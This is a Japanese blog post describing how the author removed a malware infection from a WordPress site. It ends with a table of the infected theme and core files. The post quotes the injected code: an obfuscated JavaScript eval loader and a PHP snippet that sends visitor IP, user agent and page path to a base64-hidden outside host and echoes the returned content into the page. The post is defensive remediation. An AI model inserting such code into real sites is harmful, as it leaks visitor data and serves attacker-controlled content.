ワードプレスで構築したサイトが、マルウェアに感染しました【駆除編】
時系列編で、一連の流れを書きましたが、今回やられたマルウェア駆除の仕方を書いておきます。
こういうのって名前が無いのかなぁ・・・・、検索に引っかかりやすいように、再度記事の内容を書いておきます。
ワードプレス(WP)がマルウェアに感染した時の対処方法(駆除方法)です。
1.落ち着く
偉そうな事書いてますが、パニックになってもどーしよーもないので、深呼吸でもしてください
2.サイトを閉鎖
手段はなんでもいいです。ユーザーがアクセスできなくなれば、基本認証だろうが、ファイルを落とすだろうが、サーバーの管理権限があるなら、アクセス規制をかけても、なんでいいです。
3.駆除方法
ワードプレスは基本的に、phpによって出力されるので、生成元のコードを探して削除する。
▼HTMLソースに出力されるコード
- <script>ss=String;ps=”sp”+”l”+”i”+”t”;asd=function(){++d.body};a=(“15,15,155,152,
- <カンマ、数字の羅列がたくさん>
- ,15,15,201″[ps](“,”));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-6)+parseInt(a[i],8);}try{asd()}catch(q){yy=50-50;}try{yy/=2}catch(q){yy=1;}if(!yy)eval(ss[“fr”+”omCharCode”].apply(ss,a));</script>
▼PHPに記載されたコード
- <?php
- if (!isset($sRetry))
- {
- global $sRetry;
- $sRetry = 1;
- // This code use for global bot statistic
- $sUserAgent = strtolower($_SERVER[‘HTTP_USER_AGENT’]); // Looks for google serch bot
- $stCurlHandle = NULL;
- $stCurlLink = “”;
- if((strstr($sUserAgent, ‘google’) == false)&&(strstr($sUserAgent, ‘yahoo’) == false)&&(strstr($sUserAgent, ‘baidu’) == false)&&(strstr($sUserAgent, ‘msn’) == false)&&(strstr($sUserAgent, ‘opera’) == false)&&(strstr($sUserAgent, ‘chrome’) == false)&&(strstr($sUserAgent, ‘bing’) == false)&&(strstr($sUserAgent, ‘safari’) == false)&&(strstr($sUserAgent, ‘bot’) == false)) // Bot comes
- {
- if(isset($_SERVER[‘REMOTE_ADDR’]) == true && isset($_SERVER[‘HTTP_HOST’]) == true){ // Create bot analitics
- $stCurlLink = base64_decode( ‘aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw’).’?ip=’.urlencode($_SERVER[‘REMOTE_ADDR’]).’&useragent=’.urlencode($sUserAgent) . ‘&domainname=’.urlencode($_SERVER[‘HTTP_HOST’]) . ‘&fullpath=’ . urlencode($_SERVER[‘REQUEST_URI’]) . ‘&check=’.isset($_GET[‘look’]);
- @$stCurlHandle = curl_init( $stCurlLink );
- }
- }
- if ( $stCurlHandle !== NULL )
- {
- curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
- $sResult = @curl_exec($stCurlHandle);
- if ($sResult[0]==”O”)
- {$sResult[0]=” “;
- echo $sResult; // Statistic code end
- }
- curl_close($stCurlHandle);
- }
- }
- ?>
▼駆除対象のファイル一覧と処理
ファイルのPASSとファイル名 | 駆除方法 | 備考 |
index.php | 何もしない | |
wp-admin/index.php | 不要コードの削除 | |
wp-content/index.php | PHPの閉じコードが無いので最後に「?>」を入れる | |
wp-content/plugins/index.php | 不要コードの削除 | |
wp-content/themes/index.php | 本来なくていいので、ファイルごと削除 | |
wp-content/themes/index.php | 不要コードの削除 | |
wp-content/themes/pinboard/footer.php | 不要コードの削除 | |
wp-content/themes/pinboard/index.php | 不要コードの削除 | |
wp-content/themes/pinboard/page.php | 不要コードの削除 | |
wp-content/themes/twentyeleven/footer.php | 不要コードの削除 | |
wp-content/themes/twentyeleven/index.php | 不要コードの削除 | |
wp-content/themes/twentyeleven/page.php | 不要コードの削除 | |
wp-content/themes/twentyten/footer.php | 不要コードの削除 | |
wp-content/themes/twentyten/index.php | 不要コードの削除 | |
wp-content/themes/twentytwelve/footer.php | 不要コードの削除 | |
wp-content/themes/twentytwelve/index.php | 不要コードの削除 | |
wp-content/themes/twentytwelve/page.php | 不要コードの削除 | |
wp-includes/template.php | 何もしない | ヴァージョンによって、あったりなかったりするので、よく確認すること! |
4.ファイルをアップして実機確認
実機確認の再、Chromeだと、アクセスが禁止されてるので、以下の「ご自身の責任で判断されるようお願いします」を押すとアクセスできます。
基本は、問題のコードが記述されていないか、目視確認!!
また、キャッシュがある場合は、そちらが更新されないと、変わらないので、キャッシュをクリアーしてください。
5.Googleに再申請
審査の申し込みは、ウェブマスターツール→マルウェア→「審査をリクエス」ボタンを押すだけ。
【備考】
ウィルス対策ソフトや、オンラインで確認できるサイトで、感染後にチェックすると、駆除したのにもかかわらず、危険のメッセージが出う場合があるようです。これは、Googleの感染サイトリストを参照しているようで、タイムラグがあるようです。時間があれば、再審査の申告ができるならば、しておくといいです。
以上